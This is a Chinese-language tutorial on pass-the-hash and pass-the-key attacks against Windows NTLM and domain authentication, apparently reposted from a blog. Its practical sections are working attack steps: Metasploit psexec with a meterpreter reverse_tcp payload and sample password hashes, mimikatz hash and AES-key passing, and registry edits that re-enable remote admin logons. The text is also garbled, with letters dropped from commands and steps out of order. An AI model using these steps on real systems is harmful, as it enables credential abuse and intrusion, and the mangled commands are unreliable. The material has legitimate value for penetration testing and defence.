哈希传递攻击原理及利⽤
0x01、Pass-the-hash概述
NTLMHash验证过程
我们可以看看⼯作组中和域环境中的NTLM认证过程
第三步的对⽐,发现⼯作组和域环境的认证⽅式都是⼀样的
唯⼀的不同,就是域环境下多了4和5两个步骤
第四个步骤:
第五个步骤:
但是在⼯作组的环境下也是这样,⽬标不⼀定是DC,hash对应的账号所登录的(有缓存的)⼯作站也可以。
所以,域环境和⼯作组环境下都可以使⽤NTLMhash传递攻击
从⽽我们可以通过第⼀步,进⾏伪造;为什么呢?
相信⼤家⼤部分都是web狗,我就以登陆⽹址为例⼦
哈希传递攻击是基于NTLM认证的⼀种攻击⽅式。哈希传递攻击的利⽤前提是我们获得了某个⽤户的密码哈希值,但是解不开明⽂。这时我们可以利⽤NTLM认证的⼀种缺陷,利⽤⽤户的密码哈希值来进⾏NTLM认证。在域环境中,
⼤量计算机在安装时会使⽤相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使⽤哈希传递攻击登录内⽹中的其他机器。
0x02、hash传递攻击实操
在⼯作组环境中:
Windows2003和之前的机器,可以使⽤本地管理员组内⽤户进⾏攻击。
Windows2003之后的机器,只能是administrator⽤户的哈希值才能进⾏哈希传递攻击,其他⽤户(包括管理员⽤户但是⾮administrator)也不能使⽤哈希传递攻击,会提⽰拒绝访问。
在域环境中:
只能是域管理员组内⽤户(可以是域管理员组内⾮administrator⽤户)的哈希值才能进⾏哈希传递攻击,攻击成功后,可以访问域内任何⼀台机器。
1、msf进⾏hash传递攻击
有些时候,当我们获取到了某台主机的⽤户的密码哈希值,并且该主机的445端⼝打开着。我们则可以利⽤exploit/windows/smb/pxec模块⽤MSF进⾏远程登录(哈希传递攻击)。这个是rhost可以是⼀个主机,也可
以设置⼀个⽹段。
这⾥⽬标主机的WindowsVista之后的机器,所以只能使⽤administrator⽤户进⾏攻击。
(⼀)、⼯作组环境
(⼆)、域环境
当我们获取到了域管理员组内⽤户的密码哈希值,并且该主机的445端⼝打开着。我们则可以利⽤模块⽤MSF进⾏哈希传递攻击。
2、mimikatz进⾏hash传递
(⼀)、⼯作组
(⼆)、域环境
这时候使⽤下⾯这条命令查看是否有权限
0x03、PassTheKey
当机器打了补丁之后,我们发现使⽤域管理员组内⽆法进⾏hash传递攻击,但是administrator账号(sid为500)例外;不管administrator账号怎么修改,或者新增的管理员账号,sid为500,即可进⾏hash传递攻击
要求前提:
域环境下
安装了补丁
0x04、KB2871997补丁怎么回事?
其实KB2871997的补丁并没有多⼤的⽤处,由于在WindowsVista时代,微软就通过将LocalAccountTokenFilterPolicy值默认设置为0来禁⽌⾮administrator账号的远程连接(包括哈希传递攻击),但是administrator⽤户不受影
响。即使⽬标主机更新了KB2871997的补丁,仍然可以使⽤PID=500的⽤户进⾏哈希传递攻击,⽽PID=500的⽤户默认为aministrator,所以仍然可以使⽤administrator⽤户进⾏哈希传递攻击。并且在打了KB2871997补丁的机器
上,通过将LocalAccountTokenFilterPolicy设置为1,也还是可以使⽤普通管理员账号进⾏哈希传递攻击
实验
WindowsServer2008R2:192.168.10.20
域管理员:administrator、xie
未打KB2871997补丁前,使⽤administrator账号可以成功进⾏哈希传递攻击,使⽤管理员账号xie⽆法进⾏哈希传递攻击。
打上KB2871997补丁后,使⽤administrator账号依然可以成功进⾏哈希传递攻击,使⽤管理员账号xie⽆法进⾏哈希传递攻击。
将administrator账号重命名为admin账号后,由于不存在administrator账号了,所以⽆法使⽤administrator账号进⾏哈希传递攻击,但是可以使⽤admin账号紧进⾏哈希传递攻击,因为admin账号的SID值为500。
1.⽤户输⼊urname、password、domainname(交互式才需要这个步骤),客户端会计算hash值保存在本地;
2.客户端将urname明⽂发给DC;
⽣成⼀个16Byte的随机数(challenge)发送给客户端;
4.客户端通过运算⽣成⼀个响应值respon=f(hashes,challenge,other)=>other根据版本变化,例如时间戳来防⽌回访等;
5.客户端将响应值发送给DC;
经过同样的运算result=f(hashes,challenge,other),然后⽐较result和respon,⼀直就验证通过,不⼀致则验证不通过;
7.备注:⽬标不⼀定是DC,hash对应的账号所登录的(有缓存的)⼯作站也可以。
客户端收到服务端返回的TYPE2消息,读取出服务端所⽀持的内容,并取出其中的随机值Challenge,⽤缓存的服务端的密码的NTLM-Hash对其进⾏加密,并与⽤户名、Challenge等⼀起组合得到Net-NTLMHash,最后将NetNTLM-Hash封装到NTLM_AUTH消
服务器接收到客户端发送来的NTLM_AUTH的TYPE3消息后,取出其中的NetNTLM-Hash值,并向DC域控(DomainControl)发送针对客户端的验证请求。该请求主要包含以下三⽅⾯的内容:客户端⽤户名、原始的Challenge和加密后的Challenge(也就是Net
DC根据⽤户名获取该帐号的密码哈希值NTLM-Hash,⽤密码哈希值NTLM-Hash对原始的Challenge进⾏加密得到NetNTLM-Hash。如果加密后的Challenge和服务器发送的⼀致,则意味着⽤户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务
administrator
msf>uexploit/windows/smb/pxec
msfexploit(pxec)>tpayloadwindows/meterpreter/rever_tcp
msfexploit(pxec)>tlhost192.168.10.27
msfexploit(pxec)>trhost192.168.10.14
msfexploit(pxec)>tsmburAdministrator
msfexploit(pxec)>tsmbpass815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6#这⾥LM和NTLM我们已经获取到了
msfexploit(pxec)>exploit
exploit/windows/smb/pxec
msf>uexploit/windows/smb/pxec
msfexploit(pxec)>tpayloadwindows/meterpreter/rever_tcp
msfexploit(pxec)>tlhost192.168.10.11
msfexploit(pxec)>trhost192.168.10.131
msfexploit(pxec)>tsmburtest#test⽤户在域管理员组内,注意这⾥不需要写域前缀
msfexploit(pxec)>tsmbpassAADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
msfexploit(pxec)>exploit
privilege::debug#先提权
#使⽤administrator⽤户的NTLM哈希值进⾏攻击
kurlsa::pth/ur:⽤户名/domain:⽬标机器IP/ntlm:密码哈希
$
#也可以ip查看
dir192.168.1.5c$
KB2871997
KB2871997
privilege::debug#提升权限
kurlsa::ekeys#抓取aes秘钥
#aes-256传递
kurlsa::pth/ur:⽤户名/domain:域名/aes256:
#aes-128传递
kurlsa::pth/ur:⽤户名/domain:域名/aes128:
#使⽤AES-256进⾏Key传递攻击
kurlsa::pth/ur:administrator/domain:/aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083
#使⽤AES-128进⾏Key传递攻击
kurlsa::pth/ur:administrator/domain:/aes128:4728551c859bbe351e9c11b5d959163e
修改⽬标机器的LocalAccountTokenFilterPolicy为1后,使⽤普通域管理员账号xie也可进⾏哈希传递攻击。
修改LocalAccountTokenFilterPolicy为1
恢复LocalAccountTokenFilterPolicy为0(删除后需要重启才能使修改⽣效)
regaddHKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem/vLocalAccountTokenFilterPolicy/tREG_DWORD/d1/f
regdeleteHKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem/vLocalAccountTokenFilterPolicy/f
本文发布于:2023-03-10 17:15:05,感谢您对本站的认可!
本文链接:https://www.wtabcd.cn/fanwen/zuowen/1678439706206137.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文word下载地址:NTLM.doc
本文 PDF 下载地址:NTLM.pdf
留言与评论(共有 0 条评论) |